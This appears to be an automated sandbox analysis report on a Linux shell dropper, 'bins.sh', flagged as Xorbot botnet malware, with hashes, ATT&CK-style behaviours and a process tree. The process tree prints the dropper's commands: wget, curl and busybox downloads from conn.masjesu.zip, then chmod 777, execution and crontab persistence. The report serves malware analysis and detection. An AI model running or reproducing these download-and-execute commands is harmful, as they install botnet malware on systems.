Analysis
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max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
27/02/2025, 23:08
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
97fa31a6ea5fb450f4b293c1695590f1
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SHA1
159bd52d99913da9322c119a059d3a365e4df48b
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SHA256
2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb
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SHA512
398542cc05bbba61b049fac52ea0705164bc47b69c0416f5492e00af30a0c8135d4197475d051860d7d260a15e150b19afe7901b4fd8253c945f68d3ef2289a1
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SSDEEP
192:ky+S2qAgvmyXkoni6i8cBC+3IhdaP3TG/UDi8cBC+rAhdaP3eIDJMnAgvmyHkonQ:ky+S2qAgvmyXkoni6i8cBC+4hdaP3T2n
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-3.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot -
Xorbot family
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Contacts a large (1635) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1514 chmod 1522 chmod 1530 chmod 1540 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT 1515 bins.sh /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN 1523 bins.sh /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE 1531 bins.sh /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 1541 bins.sh -
Renames itself 1 IoCs
pid Process 1542 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.S94eun crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1568/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1621/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1644/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1086/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1569/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/460/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/614/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1029/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1296/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1497/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1567/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1603/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1628/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/31/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1597/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/170/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1010/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1607/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1616/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/89/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/168/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1149/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1668/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1676/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1550/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1599/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/320/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/547/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1331/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1590/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1631/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1675/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/169/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/22/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/24/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1678/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1270/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/98/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/213/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/484/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1223/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1584/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/8/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/173/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/278/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1144/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1307/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1559/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1600/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1602/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/649/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/948/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1288/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1656/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1662/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1671/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/15/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/682/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1574/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1579/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1633/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/11/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1114/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 File opened for reading /proc/1163/cmdline vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 -
System Network Configuration Discovery 1 TTPs 13 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1513 busybox 1518 wget 1526 wget 1527 curl 1534 wget 1535 curl 1519 curl 1521 busybox 1529 busybox 1539 busybox 1551 wget 1506 wget 1511 curl -
Writes file to tmp directory 8 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE curl File opened for modification /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 wget File opened for modification /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6 curl File opened for modification /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT wget File opened for modification /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT curl File opened for modification /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN wget File opened for modification /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN curl File opened for modification /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE wget
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:1504 -
/bin/rm/bin/rm bins.sh2⤵PID:1505
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1506
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1511
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- System Network Configuration Discovery
PID:1513
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/bin/chmodchmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- File and Directory Permissions Modification
PID:1514
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/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵PID:1515
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/bin/rmrm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵PID:1517
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1518
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1519
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- System Network Configuration Discovery
PID:1521
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/bin/chmodchmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- File and Directory Permissions Modification
PID:1522
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/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵PID:1523
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/bin/rmrm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵PID:1525
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1526
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1527
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- System Network Configuration Discovery
PID:1529
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/bin/chmodchmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- File and Directory Permissions Modification
PID:1530
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/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵PID:1531
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/bin/rmrm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵PID:1533
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1534
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1535
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- System Network Configuration Discovery
PID:1539
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/bin/chmodchmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- File and Directory Permissions Modification
PID:1540
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/tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- Renames itself
- Reads runtime system information
PID:1541 -
/bin/shsh -c "crontab -l"3⤵PID:1543
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/usr/bin/crontabcrontab -l4⤵PID:1544
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/bin/shsh -c "crontab -"3⤵PID:1545
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1546
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/bin/rmrm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵PID:1548
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn2⤵
- System Network Configuration Discovery
PID:1551
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
210B
MD5ac084fee5256b54c215ff76641eb1dfd
SHA11eaaa7b49723f5e4b0be882887cdbc7f2c281801
SHA2564149f05489d1d38f9112b8aa354e973b50a650f8f8f5a119f265d68f61cce310
SHA512bb46539dafe4f40ee0485fbcdb7cd2a7bfa9df2e4e93e3b5ea224f0fbfcf3ef296cfe742d63ee9ffe6be9f6c89c1f704792894ee1aeb935f66abd2a03a229ef9